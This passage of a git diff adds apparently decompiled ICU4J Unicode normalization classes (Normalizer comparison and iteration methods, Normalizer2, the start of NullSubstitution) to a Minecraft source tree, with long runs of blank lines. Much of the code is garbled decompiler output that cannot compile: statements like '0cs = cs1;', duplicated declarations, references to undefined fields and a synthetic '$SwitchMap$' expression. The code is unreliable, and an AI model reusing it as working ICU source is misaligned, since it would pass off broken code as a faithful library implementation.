+    return internalCompare(CharBuffer.wrap(s1, s1Start, s1Limit - s1Start), CharBuffer.wrap(s2, s2Start, s2Limit - s2Start), options);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int compare(String s1, String s2, int options)
+  {
+    return internalCompare(s1, s2, options);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int compare(char[] s1, char[] s2, int options)
+  {
+    return internalCompare(CharBuffer.wrap(s1), CharBuffer.wrap(s2), options);
+  }
+  
+
+
+
+
+
+
+
+  public static int compare(int char32a, int char32b, int options)
+  {
+    return internalCompare(UTF16.valueOf(char32a), UTF16.valueOf(char32b), options | 0x20000);
+  }
+  
+
+
+
+
+
+
+
+  public static int compare(int char32a, String str2, int options)
+  {
+    return internalCompare(UTF16.valueOf(char32a), str2, options);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int concatenate(char[] left, int leftStart, int leftLimit, char[] right, int rightStart, int rightLimit, char[] dest, int destStart, int destLimit, Mode mode, int options)
+  {
+    if (dest == null) {
+      throw new IllegalArgumentException();
+    }
+    
+
+    if ((right == dest) && (rightStart < destLimit) && (destStart < rightLimit)) {
+      throw new IllegalArgumentException("overlapping right and dst ranges");
+    }
+    
+
+    StringBuilder destBuilder = new StringBuilder(leftLimit - leftStart + rightLimit - rightStart + 16);
+    destBuilder.append(left, leftStart, leftLimit - leftStart);
+    CharBuffer rightBuffer = CharBuffer.wrap(right, rightStart, rightLimit - rightStart);
+    mode.getNormalizer2(options).append(destBuilder, rightBuffer);
+    int destLength = destBuilder.length();
+    if (destLength <= destLimit - destStart) {
+      destBuilder.getChars(0, destLength, dest, destStart);
+      return destLength;
+    }
+    throw new IndexOutOfBoundsException(Integer.toString(destLength));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static String concatenate(char[] left, char[] right, Mode mode, int options)
+  {
+    StringBuilder dest = new StringBuilder(left.length + right.length + 16).append(left);
+    return mode.getNormalizer2(options).append(dest, CharBuffer.wrap(right)).toString();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static String concatenate(String left, String right, Mode mode, int options)
+  {
+    StringBuilder dest = new StringBuilder(left.length() + right.length() + 16).append(left);
+    return mode.getNormalizer2(options).append(dest, right).toString();
+  }
+  
+
+
+
+
+
+
+  public static int getFC_NFKC_Closure(int c, char[] dest)
+  {
+    String closure = getFC_NFKC_Closure(c);
+    int length = closure.length();
+    if ((length != 0) && (dest != null) && (length <= dest.length)) {
+      closure.getChars(0, length, dest, 0);
+    }
+    return length;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static String getFC_NFKC_Closure(int c)
+  {
+    Normalizer2 nfkc = INSTANCEnormalizer2;
+    UCaseProps csp = UCaseProps.INSTANCE;
+    
+    StringBuilder folded = new StringBuilder();
+    int folded1Length = csp.toFullFolding(c, folded, 0);
+    if (folded1Length < 0) {
+      Normalizer2Impl nfkcImpl = impl;
+      if (nfkcImpl.getCompQuickCheck(nfkcImpl.getNorm16(c)) != 0) {
+        return "";
+      }
+      folded.appendCodePoint(c);
+    }
+    else if (folded1Length > 31) {
+      folded.appendCodePoint(folded1Length);
+    }
+    
+    String kc1 = nfkc.normalize(folded);
+    
+    String kc2 = nfkc.normalize(UCharacter.foldCase(kc1, 0));
+    
+    if (kc1.equals(kc2)) {
+      return "";
+    }
+    return kc2;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public int current()
+  {
+    if ((bufferPos < buffer.length()) || (nextNormalize())) {
+      return buffer.codePointAt(bufferPos);
+    }
+    return -1;
+  }
+  
+
+
+
+
+
+
+
+  public int next()
+  {
+    if ((bufferPos < buffer.length()) || (nextNormalize())) {
+      int c = buffer.codePointAt(bufferPos);
+      bufferPos += Character.charCount(c);
+      return c;
+    }
+    return -1;
+  }
+  
+
+
+
+
+
+
+
+
+  public int previous()
+  {
+    if ((bufferPos > 0) || (previousNormalize())) {
+      int c = buffer.codePointBefore(bufferPos);
+      bufferPos -= Character.charCount(c);
+      return c;
+    }
+    return -1;
+  }
+  
+
+
+
+
+
+  public void reset()
+  {
+    text.setToStart();
+    currentIndex = (this.nextIndex = 0);
+    clearBuffer();
+  }
+  
+
+
+
+
+
+
+
+
+  public void setIndexOnly(int index)
+  {
+    text.setIndex(index);
+    currentIndex = (this.nextIndex = index);
+    clearBuffer();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public int setIndex(int index)
+  {
+    setIndexOnly(index);
+    return current();
+  }
+  
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public int getBeginIndex()
+  {
+    return 0;
+  }
+  
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public int getEndIndex()
+  {
+    return endIndex();
+  }
+  
+
+
+
+
+  public int first()
+  {
+    reset();
+    return next();
+  }
+  
+
+
+
+
+
+
+  public int last()
+  {
+    text.setToLimit();
+    currentIndex = (this.nextIndex = text.getIndex());
+    clearBuffer();
+    return previous();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public int getIndex()
+  {
+    if (bufferPos < buffer.length()) {
+      return currentIndex;
+    }
+    return nextIndex;
+  }
+  
+
+
+
+
+
+
+
+  public int startIndex()
+  {
+    return 0;
+  }
+  
+
+
+
+
+
+
+  public int endIndex()
+  {
+    return text.getLength();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void setMode(Mode newMode)
+  {
+    mode = newMode;
+    norm2 = mode.getNormalizer2(options);
+  }
+  
+
+
+
+
+  public Mode getMode()
+  {
+    return mode;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void setOption(int option, boolean value)
+  {
+    if (value) {
+      options |= option;
+    } else {
+      options &= (option ^ 0xFFFFFFFF);
+    }
+    norm2 = mode.getNormalizer2(options);
+  }
+  
+
+
+
+
+
+  public int getOption(int option)
+  {
+    if ((options & option) != 0) {
+      return 1;
+    }
+    return 0;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public int getText(char[] fillIn)
+  {
+    return text.getText(fillIn);
+  }
+  
+
+
+
+
+  public int getLength()
+  {
+    return text.getLength();
+  }
+  
+
+
+
+
+  public String getText()
+  {
+    return text.getText();
+  }
+  
+
+
+
+
+
+  public void setText(StringBuffer newText)
+  {
+    UCharacterIterator newIter = UCharacterIterator.getInstance(newText);
+    if (newIter == null) {
+      throw new IllegalStateException("Could not create a new UCharacterIterator");
+    }
+    text = newIter;
+    reset();
+  }
+  
+
+
+
+
+
+  public void setText(char[] newText)
+  {
+    UCharacterIterator newIter = UCharacterIterator.getInstance(newText);
+    if (newIter == null) {
+      throw new IllegalStateException("Could not create a new UCharacterIterator");
+    }
+    text = newIter;
+    reset();
+  }
+  
+
+
+
+
+
+  public void setText(String newText)
+  {
+    UCharacterIterator newIter = UCharacterIterator.getInstance(newText);
+    if (newIter == null) {
+      throw new IllegalStateException("Could not create a new UCharacterIterator");
+    }
+    text = newIter;
+    reset();
+  }
+  
+
+
+
+
+
+  public void setText(CharacterIterator newText)
+  {
+    UCharacterIterator newIter = UCharacterIterator.getInstance(newText);
+    if (newIter == null) {
+      throw new IllegalStateException("Could not create a new UCharacterIterator");
+    }
+    text = newIter;
+    reset();
+  }
+  
+
+
+
+
+  public void setText(UCharacterIterator newText)
+  {
+    try
+    {
+      UCharacterIterator newIter = (UCharacterIterator)newText.clone();
+      if (newIter == null) {
+        throw new IllegalStateException("Could not create a new UCharacterIterator");
+      }
+      text = newIter;
+      reset();
+    } catch (CloneNotSupportedException e) {
+      throw new IllegalStateException("Could not clone the UCharacterIterator");
+    }
+  }
+  
+  private void clearBuffer() {
+    buffer.setLength(0);
+    bufferPos = 0;
+  }
+  
+  private boolean nextNormalize() {
+    clearBuffer();
+    currentIndex = nextIndex;
+    text.setIndex(nextIndex);
+    
+    int c = text.nextCodePoint();
+    if (c < 0) {
+      return false;
+    }
+    StringBuilder segment = new StringBuilder().appendCodePoint(c);
+    while ((c = text.nextCodePoint()) >= 0) {
+      if (norm2.hasBoundaryBefore(c)) {
+        text.moveCodePointIndex(-1);
+        break;
+      }
+      segment.appendCodePoint(c);
+    }
+    nextIndex = text.getIndex();
+    norm2.normalize(segment, buffer);
+    return buffer.length() != 0;
+  }
+  
+  private boolean previousNormalize() {
+    clearBuffer();
+    nextIndex = currentIndex;
+    text.setIndex(currentIndex);
+    StringBuilder segment = new StringBuilder();
+    int c;
+    while ((c = text.previousCodePoint()) >= 0) {
+      if (c <= 65535) {
+        segment.insert(0, (char)c);
+      } else {
+        segment.insert(0, Character.toChars(c));
+      }
+      if (norm2.hasBoundaryBefore(c)) {
+        break;
+      }
+    }
+    currentIndex = text.getIndex();
+    norm2.normalize(segment, buffer);
+    bufferPos = buffer.length();
+    return buffer.length() != 0;
+  }
+  
+
+
+  private static int internalCompare(CharSequence s1, CharSequence s2, int options)
+  {
+    int normOptions = options >>> 20;
+    options |= 0x80000;
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    if (((options & 0x20000) == 0) || ((options & 0x1) != 0)) { Normalizer2 n2;
+      Normalizer2 n2;
+      if ((options & 0x1) != 0) {
+        n2 = NFD.getNormalizer2(normOptions);
+      } else {
+        n2 = FCD.getNormalizer2(normOptions);
+      }
+      
+
+      int spanQCYes1 = n2.spanQuickCheckYes(s1);
+      int spanQCYes2 = n2.spanQuickCheckYes(s2);
+      
+
+
+
+
+
+
+
+
+
+      if (spanQCYes1 < s1.length()) {
+        StringBuilder fcd1 = new StringBuilder(s1.length() + 16).append(s1, 0, spanQCYes1);
+        s1 = n2.normalizeSecondAndAppend(fcd1, s1.subSequence(spanQCYes1, s1.length()));
+      }
+      if (spanQCYes2 < s2.length()) {
+        StringBuilder fcd2 = new StringBuilder(s2.length() + 16).append(s2, 0, spanQCYes2);
+        s2 = n2.normalizeSecondAndAppend(fcd2, s2.subSequence(spanQCYes2, s2.length()));
+      }
+    }
+    
+    return cmpEquivFold(s1, s2, options);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static final CmpEquivLevel[] createCmpEquivLevelStack()
+  {
+    return new CmpEquivLevel[] { new CmpEquivLevel(null), new CmpEquivLevel(null) };
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  static int cmpEquivFold(CharSequence cs1, CharSequence cs2, int options)
+  {
+    CmpEquivLevel[] stack1 = null;CmpEquivLevel[] stack2 = null;
+    
+
+
+
+
+
+
+    Normalizer2Impl nfcImpl;
+    
+
+
+
+
+
+
+    Normalizer2Impl nfcImpl;
+    
+
+
+
+
+
+    if ((options & 0x80000) != 0) {
+      nfcImpl = getNFCInstanceimpl;
+    } else
+      nfcImpl = null;
+    StringBuilder fold2;
+    UCaseProps csp; StringBuilder fold2; StringBuilder fold1; if ((options & 0x10000) != 0) {
+      UCaseProps csp = UCaseProps.INSTANCE;
+      StringBuilder fold1 = new StringBuilder();
+      fold2 = new StringBuilder();
+    } else {
+      csp = null;
+      fold1 = fold2 = null;
+    }
+    
+
+    int s1 = 0;
+    int limit1 = cs1.length();
+    int s2 = 0;
+    int limit2 = cs2.length();
+    int level2;
+    int level1 = level2 = 0;
+    int c2; int c1 = c2 = -1;
+    
+
+
+
+
+
+    for (;;)
+    {
+      if (c1 < 0) {
+        for (;;)
+        {
+          if (s1 == limit1) {
+            if (level1 == 0) {
+              c1 = -1;
+              break;
+            }
+          } else {
+            c1 = cs1.charAt(s1++);
+            break;
+          }
+          
+          do
+          {
+            level1--;
+            cs1 = cs;
+          } while (cs1 == null);
+          s1 = s;
+          limit1 = cs1.length();
+        }
+      }
+      
+      if (c2 < 0) {
+        for (;;)
+        {
+          if (s2 == limit2) {
+            if (level2 == 0) {
+              c2 = -1;
+              break;
+            }
+          } else {
+            c2 = cs2.charAt(s2++);
+            break;
+          }
+          
+          do
+          {
+            level2--;
+            cs2 = cs;
+          } while (cs2 == null);
+          s2 = s;
+          limit2 = cs2.length();
+        }
+      }
+      
+
+
+
+
+      if (c1 == c2) {
+        if (c1 < 0) {
+          return 0;
+        }
+        c1 = c2 = -1;
+      } else {
+        if (c1 < 0)
+          return -1;
+        if (c2 < 0) {
+          return 1;
+        }
+        
+
+
+        int cp1 = c1;
+        if (UTF16.isSurrogate((char)c1))
+        {
+
+          if (Normalizer2Impl.UTF16Plus.isSurrogateLead(c1)) { char c;
+            if ((s1 != limit1) && (Character.isLowSurrogate(c = cs1.charAt(s1))))
+            {
+              cp1 = Character.toCodePoint((char)c1, c); }
+          } else {
+            char c;
+            if ((0 <= s1 - 2) && (Character.isHighSurrogate(c = cs1.charAt(s1 - 2)))) {
+              cp1 = Character.toCodePoint(c, (char)c1);
+            }
+          }
+        }
+        
+        int cp2 = c2;
+        if (UTF16.isSurrogate((char)c2))
+        {
+
+          if (Normalizer2Impl.UTF16Plus.isSurrogateLead(c2)) { char c;
+            if ((s2 != limit2) && (Character.isLowSurrogate(c = cs2.charAt(s2))))
+            {
+              cp2 = Character.toCodePoint((char)c2, c); }
+          } else {
+            char c;
+            if ((0 <= s2 - 2) && (Character.isHighSurrogate(c = cs2.charAt(s2 - 2)))) {
+              cp2 = Character.toCodePoint(c, (char)c2);
+            }
+          }
+        }
+        
+
+
+        int length;
+        
+
+        if ((level1 == 0) && ((options & 0x10000) != 0) && ((length = csp.toFullFolding(cp1, fold1, options)) >= 0))
+        {
+
+
+          if (UTF16.isSurrogate((char)c1)) {
+            if (Normalizer2Impl.UTF16Plus.isSurrogateLead(c1))
+            {
+              s1++;
+
+
+
+            }
+            else
+            {
+
+
+              s2--;
+              c2 = cs2.charAt(s2 - 1);
+            }
+          }
+          
+
+          if (stack1 == null) {
+            stack1 = createCmpEquivLevelStack();
+          }
+          0cs = cs1;
+          0s = s1;
+          level1++;
+          
+
+
+          if (length <= 31) {
+            fold1.delete(0, fold1.length() - length);
+          } else {
+            fold1.setLength(0);
+            fold1.appendCodePoint(length);
+          }
+          
+
+          cs1 = fold1;
+          s1 = 0;
+          limit1 = fold1.length();
+          
+
+          c1 = -1;
+        }
+        else {
+          int length;
+          if ((level2 == 0) && ((options & 0x10000) != 0) && ((length = csp.toFullFolding(cp2, fold2, options)) >= 0))
+          {
+
+
+            if (UTF16.isSurrogate((char)c2)) {
+              if (Normalizer2Impl.UTF16Plus.isSurrogateLead(c2))
+              {
+                s2++;
+
+
+
+              }
+              else
+              {
+
+
+                s1--;
+                c1 = cs1.charAt(s1 - 1);
+              }
+            }
+            
+
+            if (stack2 == null) {
+              stack2 = createCmpEquivLevelStack();
+            }
+            0cs = cs2;
+            0s = s2;
+            level2++;
+            
+
+
+            if (length <= 31) {
+              fold2.delete(0, fold2.length() - length);
+            } else {
+              fold2.setLength(0);
+              fold2.appendCodePoint(length);
+            }
+            
+
+            cs2 = fold2;
+            s2 = 0;
+            limit2 = fold2.length();
+            
+
+            c2 = -1;
+          }
+          else {
+            String decomp1;
+            if ((level1 < 2) && ((options & 0x80000) != 0) && ((decomp1 = nfcImpl.getDecomposition(cp1)) != null))
+            {
+
+
+              if (UTF16.isSurrogate((char)c1)) {
+                if (Normalizer2Impl.UTF16Plus.isSurrogateLead(c1))
+                {
+                  s1++;
+
+
+
+                }
+                else
+                {
+
+
+                  s2--;
+                  c2 = cs2.charAt(s2 - 1);
+                }
+              }
+              
+
+              if (stack1 == null) {
+                stack1 = createCmpEquivLevelStack();
+              }
+              cs = cs1;
+              s = s1;
+              level1++;
+              
+
+              if (level1 < 2) {
+                cs = null;
+              }
+              
+
+              cs1 = decomp1;
+              s1 = 0;
+              limit1 = decomp1.length();
+              
+
+              c1 = -1;
+            }
+            else {
+              String decomp2;
+              if ((level2 >= 2) || ((options & 0x80000) == 0) || ((decomp2 = nfcImpl.getDecomposition(cp2)) == null)) {
+                break;
+              }
+              
+              if (UTF16.isSurrogate((char)c2)) {
+                if (Normalizer2Impl.UTF16Plus.isSurrogateLead(c2))
+                {
+                  s2++;
+
+
+
+                }
+                else
+                {
+
+
+                  s1--;
+                  c1 = cs1.charAt(s1 - 1);
+                }
+              }
+              
+
+              if (stack2 == null) {
+                stack2 = createCmpEquivLevelStack();
+              }
+              cs = cs2;
+              s = s2;
+              level2++;
+              
+
+              if (level2 < 2) {
+                cs = null;
+              }
+              
+
+              cs2 = decomp2;
+              s2 = 0;
+              limit2 = decomp2.length();
+              
+
+              c2 = -1;
+            }
+          }
+        }
+      }
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    if ((c1 >= 55296) && (c2 >= 55296) && ((options & 0x8000) != 0))
+    {
+      if (((c1 > 56319) || (s1 == limit1) || (!Character.isLowSurrogate(cs1.charAt(s1)))) && ((!Character.isLowSurrogate((char)c1)) || (0 == s1 - 1) || (!Character.isHighSurrogate(cs1.charAt(s1 - 2)))))
+      {
+
+
+
+
+
+        c1 -= 10240;
+      }
+      
+      if (((c2 > 56319) || (s2 == limit2) || (!Character.isLowSurrogate(cs2.charAt(s2)))) && ((!Character.isLowSurrogate((char)c2)) || (0 == s2 - 1) || (!Character.isHighSurrogate(cs2.charAt(s2 - 2)))))
+      {
+
+
+
+
+
+        c2 -= 10240;
+      }
+    }
+    
+    return c1 - c2; }
+  
+  public static final class QuickCheckResult { private QuickCheckResult(int value) {} }
+  
+  private static final class CmpEquivLevel { CharSequence cs;
+    int s;
+    
+    private CmpEquivLevel() {} }
+  
+  private static final class CharsAppendable implements Appendable { private final char[] chars;
+    private final int start;
+    private final int limit;
+    private int offset;
+    
+    public CharsAppendable(char[] dest, int destStart, int destLimit) { chars = dest;
+      start = (this.offset = destStart);
+      limit = destLimit;
+    }
+    
+    public int length() { int len = offset - start;
+      if (offset <= limit) {
+        return len;
+      }
+      throw new IndexOutOfBoundsException(Integer.toString(len));
+    }
+    
+    public Appendable append(char c) {
+      if (offset < limit) {
+        chars[offset] = c;
+      }
+      offset += 1;
+      return this;
+    }
+    
+    public Appendable append(CharSequence s) { return append(s, 0, s.length()); }
+    
+    public Appendable append(CharSequence s, int sStart, int sLimit) {
+      int len = sLimit - sStart;
+      if (len <= limit - offset) {
+        while (sStart < sLimit) {
+          chars[(offset++)] = s.charAt(sStart++);
+        }
+      }
+      offset += len;
+      
+      return this;
+    }
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/Normalizer2.java b/src/minecraft/com/ibm/icu/text/Normalizer2.java
new file mode 100644
index 0000000..9045c10
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/Normalizer2.java
@@ -0,0 +1,342 @@
+package com.ibm.icu.text;
+
+import com.ibm.icu.impl.Norm2AllModes;
+import java.io.InputStream;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class Normalizer2
+{
+  public static enum Mode
+  {
+    COMPOSE, 
+    
+
+
+
+
+
+
+
+    DECOMPOSE, 
+    
+
+
+
+
+
+
+
+
+
+
+
+    FCD, 
+    
+
+
+
+
+
+
+
+
+    COMPOSE_CONTIGUOUS;
+    
+
+
+    private Mode() {}
+  }
+  
+
+
+  public static Normalizer2 getNFCInstance()
+  {
+    return getNFCInstancecomp;
+  }
+  
+
+
+
+
+
+
+  public static Normalizer2 getNFDInstance()
+  {
+    return getNFCInstancedecomp;
+  }
+  
+
+
+
+
+
+
+  public static Normalizer2 getNFKCInstance()
+  {
+    return getNFKCInstancecomp;
+  }
+  
+
+
+
+
+
+
+  public static Normalizer2 getNFKDInstance()
+  {
+    return getNFKCInstancedecomp;
+  }
+  
+
+
+
+
+
+
+  public static Normalizer2 getNFKCCasefoldInstance()
+  {
+    return getNFKC_CFInstancecomp;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static Normalizer2 getInstance(InputStream data, String name, Mode mode)
+  {
+    Norm2AllModes all2Modes = Norm2AllModes.getInstance(data, name);
+    switch (1.$SwitchMap$com$ibm$icu$text$Normalizer2$Mode[mode.ordinal()]) {
+    case 1:  return comp;
+    case 2:  return decomp;
+    case 3:  return fcd;
+    case 4:  return fcc; }
+    return null;
+  }
+  
+
+
+
+
+
+
+  public String normalize(CharSequence src)
+  {
+    if ((src instanceof String))
+    {
+
+      int spanLength = spanQuickCheckYes(src);
+      if (spanLength == src.length()) {
+        return (String)src;
+      }
+      StringBuilder sb = new StringBuilder(src.length()).append(src, 0, spanLength);
+      return normalizeSecondAndAppend(sb, src.subSequence(spanLength, src.length())).toString();
+    }
+    return normalize(src, new StringBuilder(src.length())).toString();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public abstract StringBuilder normalize(CharSequence paramCharSequence, StringBuilder paramStringBuilder);
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public abstract Appendable normalize(CharSequence paramCharSequence, Appendable paramAppendable);
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public abstract StringBuilder normalizeSecondAndAppend(StringBuilder paramStringBuilder, CharSequence paramCharSequence);
+  
+
+
+
+
+
+
+
+
+
+
+
+  public abstract StringBuilder append(StringBuilder paramStringBuilder, CharSequence paramCharSequence);
+  
+
+
+
+
+
+
+
+
+
+
+
+  public abstract String getDecomposition(int paramInt);
+  
+
+
+
+
+
+
+
+
+
+
+
+  public String getRawDecomposition(int c)
+  {
+    return null;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public int composePair(int a, int b)
+  {
+    return -1;
+  }
+  
+
+
+
+
+
+  public int getCombiningClass(int c)
+  {
+    return 0;
+  }
+  
+  public abstract boolean isNormalized(CharSequence paramCharSequence);
+  
+  public abstract Normalizer.QuickCheckResult quickCheck(CharSequence paramCharSequence);
+  
+  public abstract int spanQuickCheckYes(CharSequence paramCharSequence);
+  
+  public abstract boolean hasBoundaryBefore(int paramInt);
+  
+  public abstract boolean hasBoundaryAfter(int paramInt);
+  
+  public abstract boolean isInert(int paramInt);
+  
+  /**
+   * @deprecated
+   */
+  protected Normalizer2() {}
+}
diff --git a/src/minecraft/com/ibm/icu/text/NullSubstitution.java b/src/minecraft/com/ibm/icu/text/NullSubstitution.java
new file mode 100644
index 0000000..1085a63
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/NullSubstitution.java
@@ -0,0 +1,1894 @@
+package com.ibm.icu.text;
+
+import java.text.ParsePosition;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
